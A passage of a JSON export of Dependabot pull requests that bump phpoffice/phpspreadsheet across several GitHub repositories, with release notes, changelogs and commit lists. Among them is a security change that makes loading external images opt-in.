href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4777\"\u003e#4777\u003c/a\u003e from oleibman/changelog20260109\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/79208b34f451a34f1c39a7e84c37bb87ea93b830\"\u003e\u003ccode\u003e79208b3\u003c/code\u003e\u003c/a\u003e Update Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2a60b97508329e93f7e73b0c28666ee54459c572\"\u003e\u003ccode\u003e2a60b97\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e from oleibman/issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/69d337ded7bd94b6dbc80d8f64226461b701337e\"\u003e\u003ccode\u003e69d337d\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/60d0afd50131792eab570e38e7a1afb1f637556f\"\u003e\u003ccode\u003e60d0afd\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e from oleibman/issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c0b28c45fde1fa884b83abd069c2b3cb5d606fe7\"\u003e\u003ccode\u003ec0b28c4\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d9a4765bd54f08810f852eb9f67673c5b29024a0\"\u003e\u003ccode\u003ed9a4765\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/a9d60a10df16a9867f127b5d52b075534803a187\"\u003e\u003ccode\u003ea9d60a1\u003c/code\u003e\u003c/a\u003e Remove Trailing Space\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/53fe59626abefd7a557c750a6bad0f1b9582ec38\"\u003e\u003ccode\u003e53fe596\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f3f09bc9a6a335ccfe22690a89c25fe25dc2ecf8\"\u003e\u003ccode\u003ef3f09bc\u003c/code\u003e\u003c/a\u003e Mpdf Styling of Multi-Line Strings\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.3.0...5.4.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.3.0\u0026new-version=5.4.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/demos-europe/demosplan-core/pull/5729","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/demos-europe%2Fdemosplan-core/issues/5729","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/5729/packages"},{"uuid":"3785859049","node_id":"PR_kwDOOF251s67wk0x","number":1,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 1.29.12 to 1.30.1","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-01-09T04:04:31.000Z","author_association":null,"state_reason":null,"created_at":"2026-01-06T17:07:41.000Z","updated_at":"2026-01-09T04:04:33.000Z","time_to_close":212210,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.29.12","new_version":"1.30.1","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.29.12 to 1.30.1.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/1.30.1/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2025-10-25 - 1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-08-10 - 1.30.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fa8257a579ec623473eabfe49731de5967306c4c\"\u003e\u003ccode\u003efa8257a\u003c/code\u003e\u003c/a\u003e Prep Work for 1.30.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d81305a177b3932158d087f9a6dcf8f970c59b2\"\u003e\u003ccode\u003e5d81305\u003c/code\u003e\u003c/a\u003e Update Readme release1291 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4612\"\u003e#4612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/bc373185caf4e074478b23f3df0cdbc42a366d79\"\u003e\u003ccode\u003ebc37318\u003c/code\u003e\u003c/a\u003e Branch release1291 Will Not Be Updated for Php 8.5 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4606\"\u003e#4606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/df6d8248000ef662fa4f5eba597e4a1cd2bdbdfa\"\u003e\u003ccode\u003edf6d824\u003c/code\u003e\u003c/a\u003e Update Mpdf (Php8.5) release1291 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4592\"\u003e#4592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fc0d8bd2f5dedb94f4bb3e5623503dcba9e05d81\"\u003e\u003ccode\u003efc0d8bd\u003c/code\u003e\u003c/a\u003e Update react/promise (Php8.5) and setasign/fpdi (security) release129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4586\"\u003e#4586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2f39286e0136673778b7a142b3f0d141e43d1714\"\u003e\u003ccode\u003e2f39286\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c2cd0e64392438e4c6af082796eb65c1d629a266\"\u003e\u003ccode\u003ec2cd0e6\u003c/code\u003e\u003c/a\u003e Breaking Change When Loading External Images\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5e3a6a8a7df7a767a89614fa92183959f1ab1e9a\"\u003e\u003ccode\u003e5e3a6a8\u003c/code\u003e\u003c/a\u003e Changelog Update Semantic Versioning Statement\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.29.12...1.30.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.29.12\u0026new-version=1.30.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/SilvioRamirez/thfundasalud/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/SilvioRamirez/thfundasalud/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/SilvioRamirez%2Fthfundasalud/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"},{"uuid":"3765565931","node_id":"PR_kwDOAROkfc66u-YO","number":269,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 3.9.1 to 3.10.0","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-01-03T16:37:51.000Z","author_association":null,"state_reason":null,"created_at":"2025-12-28T11:02:48.000Z","updated_at":"2026-01-03T16:37:52.000Z","time_to_close":538503,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"3.9.1","new_version":"3.10.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 3.9.1 to 3.10.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.10.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.9.3\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4548\"\u003e#4548\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4548\"\u003ePHPOffice/PhpSpreadsheet#4548\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.9.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4408\"\u003e#4408\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4408\"\u003ePHPOffice/PhpSpreadsheet#4408\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTEXT and TIMEVALUE functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003e#4249\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003ePHPOffice/PhpSpreadsheet#4249\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4355\"\u003e#4355\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4355\"\u003ePHPOffice/PhpSpreadsheet#4355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving Columns/Rows Containing Merged Cells. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4465\"\u003e#4465\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4465\"\u003ePHPOffice/PhpSpreadsheet#4465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow Xlsx Reader to Specify ParseHuge. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003e#4260\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003ePHPOffice/PhpSpreadsheet#4260\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4518\"\u003e#4518\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4518\"\u003ePHPOffice/PhpSpreadsheet#4518\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/3.10.0/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2025-08-10 - 3.10.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-07-23 - 3.9.3\u003c/h1\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4548\"\u003e#4548\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4548\"\u003ePHPOffice/PhpSpreadsheet#4548\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-06-22 - 3.9.2\u003c/h1\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4408\"\u003e#4408\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4408\"\u003ePHPOffice/PhpSpreadsheet#4408\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTEXT and TIMEVALUE functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003e#4249\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003ePHPOffice/PhpSpreadsheet#4249\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4355\"\u003e#4355\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4355\"\u003ePHPOffice/PhpSpreadsheet#4355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving Columns/Rows Containing Merged Cells. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4465\"\u003e#4465\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4465\"\u003ePHPOffice/PhpSpreadsheet#4465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow Xlsx Reader to Specify ParseHuge. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003e#4260\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003ePHPOffice/PhpSpreadsheet#4260\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4518\"\u003e#4518\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4518\"\u003ePHPOffice/PhpSpreadsheet#4518\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/38559935cb76df0fad71d1e3df1a4e7da6e51cf0\"\u003e\u003ccode\u003e3855993\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4050f14521d70634c3320b170236574a6106eb39\"\u003e\u003ccode\u003e4050f14\u003c/code\u003e\u003c/a\u003e Breaking Change When Loading External Images\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/424180dc4127e0952a49f848e392fe53a431c852\"\u003e\u003ccode\u003e424180d\u003c/code\u003e\u003c/a\u003e Changelog Update Semantic Versioning Statement\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/668d3b5fdebf7f74627620d6648f77662f74b015\"\u003e\u003ccode\u003e668d3b5\u003c/code\u003e\u003c/a\u003e All Readers - Allow or Forbid Fetching of External Images Release390 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4548\"\u003e#4548\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/3b07468e1fcc2501d85e60501977f8f7f53cfb4a\"\u003e\u003ccode\u003e3b07468\u003c/code\u003e\u003c/a\u003e Allow Xlsx Reader to Specify ParseHuge Release390 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4518\"\u003e#4518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d893ec38cf37f74a5727504dea081856c2aaa056\"\u003e\u003ccode\u003ed893ec3\u003c/code\u003e\u003c/a\u003e Removing Columns/Rows Containing Merged Cells (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4470\"\u003e#4470\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4aa3315beb5be2b4ba9ab515fd191f4a0825fbc9\"\u003e\u003ccode\u003e4aa3315\u003c/code\u003e\u003c/a\u003e Allow Spreadsheet Serialization Branch release390 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4408\"\u003e#4408\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1a98cedda20d65e80f7ecdfb865c07e5637e9dab\"\u003e\u003ccode\u003e1a98ced\u003c/code\u003e\u003c/a\u003e Allow php-cs-fixer to Handle Implicit Backslashes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/ef4ef80a1193f7cba56ec8d646503e4bffa58e7c\"\u003e\u003ccode\u003eef4ef80\u003c/code\u003e\u003c/a\u003e Fix TEXT and TIMEVALUE Functions 3.9 Branch (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4355\"\u003e#4355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e586f9dd3cf782483974c5a55950fe2d001d948e\"\u003e\u003ccode\u003ee586f9d\u003c/code\u003e\u003c/a\u003e Update content-hash (composer update --lock)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/3.9.1...3.10.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=3.9.1\u0026new-version=3.10.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/szentjozsefhackathon/szentiras.eu/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/szentjozsefhackathon/szentiras.eu/pull/269","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/szentjozsefhackathon%2Fszentiras.eu/issues/269","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/269/packages"},{"uuid":"3680526399","node_id":"PR_kwDOAmuNNM62UkoN","number":850,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 4.3.1 to 